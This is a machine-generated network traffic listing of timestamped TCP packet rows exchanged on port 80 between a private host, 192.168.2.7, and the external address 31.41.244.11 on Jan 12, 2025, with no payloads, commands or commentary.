Jan 12, 2025 17:39:10.879131079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879163027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879170895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879170895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879170895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879194975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879209995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879228115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879261971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879293919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879311085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879311085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879311085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879333019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879345894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879376888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879401922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879410028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879420996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879445076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879463911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879477024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879508018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879520893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879520893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879542112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879575014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879597902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879597902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879607916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879638910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879652977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879652977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879672050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879682064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879705906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879728079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879743099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879776001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879807949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879818916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879818916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879818916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879839897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879873037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879901886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879901886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879904985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879937887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879970074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.879981041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879981041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.879981041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.880002975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.880034924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.880068064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.880079985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.880079985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.880105972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.880110025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.880110025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.880139112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.880172014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.880186081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.880186081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.880203962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.880237103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.880271912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.880283117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.880283117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.880283117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.880300045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.880340099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.880340099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916078091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916131020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916183949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916233063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916281939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916316032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916364908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916377068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916393042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916409969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916409969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916443110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916496038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916524887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916538000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916538000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916584015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916589975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916630983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916640043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916671991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916713953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916713953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916721106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916753054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916785955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916786909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916810989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916814089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916847944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916855097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916855097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916897058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916906118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.916929007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916963100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.916992903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917011023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917027950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917033911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917033911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917033911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917078018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917112112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917145014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917160988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917160988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917176008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917207956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917220116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917220116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917242050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917273045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917294025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917294025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917304993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917324066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917336941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917371035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917402983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917435884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917443991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917452097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917452097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917452097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917467117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917490959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917499065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917515993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917531967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917565107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917570114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917570114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917597055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917629957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917645931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917645931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917658091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917689085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917716980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917716980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917723894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917740107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917756081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917788982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917820930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917830944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917830944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917830944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917854071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917886972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917920113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917923927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917932987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917932987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917951107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917984962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.917987108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.917987108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918019056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.918052912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.918062925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918062925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918085098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.918118954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.918133020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918133020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918145895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.918179035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.918200016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918200016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918210983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.918242931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.918257952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918257952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918278933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.918312073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.918327093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918327093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918348074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.918431044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.918442965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964010000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964046955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964073896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964082003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964132071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964147091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964147091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964168072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964200974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964236021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964236021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964237928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964236021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964303017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964324951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964359045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964409113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964457989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964464903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964504004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964509964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964518070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964560986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964565992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964596033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964628935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964636087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964636087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964678049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964710951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964720964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964720964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964745998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964761019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964778900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964812994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964859962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964859962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964859962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964863062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964898109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964921951 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964931011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964965105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.964976072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.964976072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965015888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965042114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965049982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965094090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965094090 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965100050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965133905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965164900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965178967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965178967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965198040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965229988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965264082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965272903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965272903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965272903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965295076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965327978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965348005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965348005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965362072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965373993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965394974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965405941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965428114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965449095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965462923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965487003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965495110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965528011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965548992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965548992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965562105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965595961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965605021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965605021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965629101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965661049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965677977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965677977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965692043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965712070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965724945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965749025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965758085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965780973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965790033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965822935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965823889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965841055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965857029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965889931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965919971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965919971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.965920925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.965948105 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.966073036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.968612909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.968683958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.968689919 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.968722105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.968756914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.968756914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.968794107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.968802929 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.968802929 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.968827963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.968861103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.968863010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.968874931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.968899012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.968941927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.968941927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.002362013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.002428055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.002451897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.002482891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.002490997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.002517939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.002552032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.002552986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.002559900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.002587080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.002620935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.002669096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.002670050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.002670050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.002866983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.002922058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.002955914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.002981901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003015041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003037930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.003068924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003122091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003156900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003192902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.003205061 CET	49975	80	192.168.2.7	31.41.244.11
